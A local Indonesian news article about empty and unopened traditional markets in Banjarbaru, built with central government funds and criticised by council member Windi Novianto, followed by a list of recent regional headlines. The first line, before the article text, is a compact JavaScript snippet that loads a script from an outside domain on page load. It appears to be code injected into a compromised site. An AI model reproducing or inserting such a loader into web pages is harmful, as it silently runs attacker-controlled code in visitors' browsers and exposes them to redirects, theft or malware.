(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Wakil Rakyat Soroti Operasional Pasar di Banjarbaru, dari Sepi Pedagang hingga Belum Beroperasi


KANALKALIMANTAN.COM, BANJARBARU – Banyak pasar tradisional di Kota Banjarbaru yang dibangun dari Dana Alokasi Khusus (DAK) hingga saat ini masih sepi pedagang. Bahkan di Pasar Bauntung Banjarbaru, banyak los-los pasar yang hingga saat ini masih kosong dan berdebu.

Sepinya pedagang di pasar tradisional yang ada di Kota Banjarbaru menjadi sorotan anggota Komisi I DPRD Kota Banjarbaru, Windi Novianto. Ia mengatakan sejak tahun 2019 Kota Banjarbaru banyak membangun pasar dari DAK Kementerian.

“Tapi hingga saat ini, pasar masih ada yang belum buka dan ada juga yang belum maksimal,” katanya, Selasa (8/11/2022).

Seperti yang terjadi di Landasan Ulin Utara, pasar sudah diresmikan namun belum maksimal, pedagang masih banyak yang berjualan di luar kawasan resmi pasar.

 

Los-los di Pasar Bauntung yang hingga kini masih kosong dari pedagang. Foto: ibnu

Baca juga : Diduga Mengedarkan Sabu dan Ekstasi, BA Ditangkap Satresnarkoba Polres Tanah Bumbu

“Yang masih belum buka seperti di Landasan Ulin Timur dan Guntung Manggis, hingga saat ini belum operasional,” tambahnya.

Dengan banyaknya pasar dan los pedagang yang kosong, Windi mendorong agar Dinas Perdagangan Kota Banjarbaru untuk menggaet para petani untuk menempati pasar-pasar yang ada.

“Banyak operasional pasar belum maksimal, seperti di Pasar Bauntung, lebih 100 los kering yang belum terisi (pedagang), mungkin ada pemiliknya namun belum aktif, itu (los kering) bisa dialihkan ke orang yang ingin berjualan di Pasar Bauntung,” jelasnya.

Dirinya mengharapkan di Kota Banjarbaru ini ada pasar pertanian, peternakan, perikanan maupun hasil perkebunan.

Windi Novianto, anggota DPRD Banjarbaru. Foto: ibnu

Baca juga  : Bahas Program Bersama, KTNA dan Pemko Banjarbaru Duduk di Mimbar Sarasehan

“Kaemarin rapat dengan Disdag operasional pasar bisa maksimal, terutama di Pasar Bauntung yang masih menjadi keluhan karena sepi pedagang dan pengunjung. Seperti di jam siang pasti sepi pengunjung, nah yang kosong (los) tawarkan saja ke kelompok tani bekerjasama dengan DKP3, agar operasional pasar bisa maksimal,” tandasnya.

Pantauan Kanalkalimantan.com di Pasar Bauntung Banjarbaru banyak lapak dagangan di los kering banyak debu tebal menutupi lapak jualan di bangunan yang dikerjakan menyedot dana miliaean rupiah.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Banjir Rob Murung Selong Banjarmasin 407 Jiwa Terdampak

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob yang menggenangi kawasan Murung Selong, Kelurahan Sungai Lulut, Kota Banjarmasin,… Read More

13 jam ago

Tanggul Halangi Air Keluar di Komplek PWI, Ketua DPRD Banjarmasin Minta Dibongkar

KANALKALIMANTAN.COM, BANJARMASIN - Ketua DPRD Kota Banjarmasin, Rikval Fachruri meninjau banjir rob di komplek Persatuan… Read More

13 jam ago

Banjir di Gang Serumpun Sungai Lulut Masih Selutut

KANALKALIMANTAN.COM, BANJARMASIN — Banjir rob yang menggenangi Jalan Hikmah Banua, Gang Serumpun RT 27, Kelurahan… Read More

15 jam ago

BLK Kalsel Buka Pendaftaran Pelatihan Kerja Tahun 2026

KANALKALIMANTAN.COM, BANJARBARU - Balai Latihan Kerja (BLK) di bawah Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans)… Read More

19 jam ago

Besok, Presiden RI Resmikan 166 Sekolah Rakyat Terpadu di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru bersiap menyambut kunjungan Presiden Republik Indonesia, Prabowo Subianto berserta… Read More

21 jam ago

Remaja 13 Tahun Terseret Arus di Sungai Martapura

KANALKALIMANTAN.COM, BANJARMASIN — Seorang remaja laki-laki dilaporkan tenggelam di Sungai Martapura, Jalan Rantauan Darat, Kecamatan… Read More

1 hari ago

This website uses cookies.